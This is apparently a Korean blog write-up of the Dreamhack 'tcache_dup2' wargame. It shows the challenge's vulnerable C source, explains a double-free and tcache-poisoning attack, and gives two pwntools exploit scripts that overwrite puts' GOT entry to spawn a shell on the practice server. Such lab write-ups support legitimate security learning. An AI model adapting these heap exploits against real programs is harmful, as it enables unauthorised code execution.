
보호기법 확인

partial relro, nx, pie 들어가 있다.
got를 사용해서 풀수도 있겠다.
문제코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
char *ptr[7];
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void create_heap(int idx) {
size_t size;
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
ptr[idx] = malloc(size);
if (!ptr[idx])
exit(0);
printf("Data: ");
read(0, ptr[idx], size-1);
}
void modify_heap() {
size_t size, idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
printf("Size: ");
scanf("%ld", &size);
if (size > 0x10)
exit(0);
printf("Data: ");
read(0, ptr[idx], size);
}
void delete_heap() {
size_t idx;
printf("idx: ");
scanf("%ld", &idx);
if (idx >= 7)
exit(0);
if (!ptr[idx])
exit(0);
free(ptr[idx]);
}
void get_shell() {
system("/bin/sh");
}
int main() {
int idx;
int i = 0;
initialize();
while (1) {
printf("1. Create heap\n");
printf("2. Modify heap\n");
printf("3. Delete heap\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
create_heap(i);
i++;
break;
case 2:
modify_heap();
break;
case 3:
delete_heap();
break;
default:
break;
}
}
}
main함수에서는 case 별로 할당, 해제, 변조 등을 실행할 수 있다
case 1 : 원하는 크기 메모리 할당, 데이터 넣기
case 2 : 원하는 index변수의 값 넣기
case 3 : 원하는 index변수를 free로 해제하기
case 3 delete_heap 함수에서는 free로 해제를 진행한뒤 초기화를 진행하지 않기 때문에 dfb를 실행할 수 있다.
create로 청크를 할당한뒤 delete로 같은 청크를 두번 해제하고
청크는 연결리스트 형태로 되어있기 때문에 got를 사용해
get_shell의 주소를 붙여준다면 flag를 얻을 수 있다.
또 주의해야할 점은 청크를 할당하고 해제하는 과정에서 tc_idx값이 증가하게 되는데
tc_idx값이 0일때는 tcache에 청크를 할당하지 않는다. 이점을 생각해야 한다.
그리고 tc_idx가 1이상일 때 청크를 할당하면 tc_idx가 1 줄어든다.
요약하자면
청크 할당 후 dfb를 일으키고 그 청크에 got값을 넣고
청크 할당으로 get_shell주소를 넣어 flag를 얻는다.
두가지 방법으로 문제를 풀었는데 일단 처음 문제를 풀었던 방법 먼저 쓰겠다.
익스플로잇 과정
1. tcache posioning
2. got overwrite
gdb 확인

처음에는 printf_got를 사용하려했지만 잘 안되길래
익스 코드 자체가 잘못된줄 알았지만
puts를 사용하니 문제가 해결되었었다.
그리고 puts는 gdb로 봤을때 main에서 실행되었었다.
got에 값을 덮어씌우는 과정에서 다른값에도 영향이 갔거나
printf의 형태가 printf("%s", a) 같은 형태를 가져서 그런가 싶다.
익스플로잇 코드
from pwn import *
p = remote('host3.dreamhack.games', 16792)
e = ELF('./tcache_dup2')
def create(size, data):
p.sendlineafter('> ', str(1))
p.sendlineafter('Size: ', str(size)) # idx < 7
p.sendafter('Data: ', data)
def modify(idx, size, data):
p.sendlineafter('> ', str(2))
p.sendlineafter('idx: ', str(idx))
p.sendlineafter('Size: ', str(size)) # idx < 7 / size <= 0x10
p.sendafter('Data: ', data)
def delete(idx):
p.sendlineafter('> ', str(3))
p.sendlineafter('idx: ', str(idx)) # idx < 7
# tcache posioning
create(0x30, b'dummy')
delete(0)
modify(0, 0x10, b'a'*8 + b'\x00')
delete(0)
modify(0, 0x10, p64(e.got['puts']))
create(0x30, b'a')
create(0x30, p64(e.symbols['get_shell']))
p.interactive() # dfb 보호기법 존재함
remote를 사용해서 간단하게 dfb에 보호기법이 들어가있는지 확인했다.
한 청크를 두번 해제하기 전에 modify함수로 값을 바꾸어 주었다.
dfb를 일으킨 후에 puts got값을 넣어주고
create로 get_shell의 주소값을 넣어주었다.
이 코드를 작성할 때는 tc_idx를 신경쓸 생각을 하지 못하고 풀었다.
###다른 익스 코드###
from pwn import *
p = remote('host3.dreamhack.games', 11138)
e = ELF('./tcache_dup2')
libc = ELF('./libc-2.30.so')
def create(size, data):
p.sendlineafter('> ', str(1))
p.sendlineafter('Size: ', str(size)) # idx < 7
p.sendafter('Data: ', data)
def modify(idx, size, data):
p.sendlineafter('> ', str(2))
p.sendlineafter('idx: ', str(idx))
p.sendlineafter('Size: ', str(size)) # idx < 7 / size <= 0x10
p.sendafter('Data: ', data)
def delete(idx):
p.sendlineafter('> ', str(3))
p.sendlineafter('idx: ', str(idx)) # idx < 7
# tcache posioning
create(0x30, b'dummy')
create(0x30, b'dummy')
delete(0)
delete(1)
modify(1, 0x10, p64(e.got['puts']))
create(0x30, b'a')
create(0x30, p64(e.symbols['get_shell']))
p.interactive()
메모리할당을 두번 한뒤에 해제하는 방법도 해봤다.
첫번째 방법으로 문제를 푼 뒤 tc_idx 이야기가 나와
다시 해보았다.
실행 결과

문제 실패 과정
1. printf_got를 사용할때 문제가 생겼는데
gdb로 확인에 어려움이 있어 다른 시도를 해보았다.
2. ptr 변수의 idx값을 청크를 추가하는 과정에서 너무 의식했다
연결리스트로 이루어져있다는 것을 생각해 문제를 해결했다.
'시스템해킹' 카테고리의 다른 글
| [드림핵] cmd_center 풀이 (0) | 2024.07.21 |
|---|---|
| [드림핵] sint 풀이 (0) | 2024.07.21 |
| [드림핵] tcache_dup 풀이 (0) | 2024.07.14 |
| [드림핵] Tcache Poisoning 풀이 (2) | 2024.07.14 |
| [드림핵] uaf_overwrite 풀이 (0) | 2024.06.25 |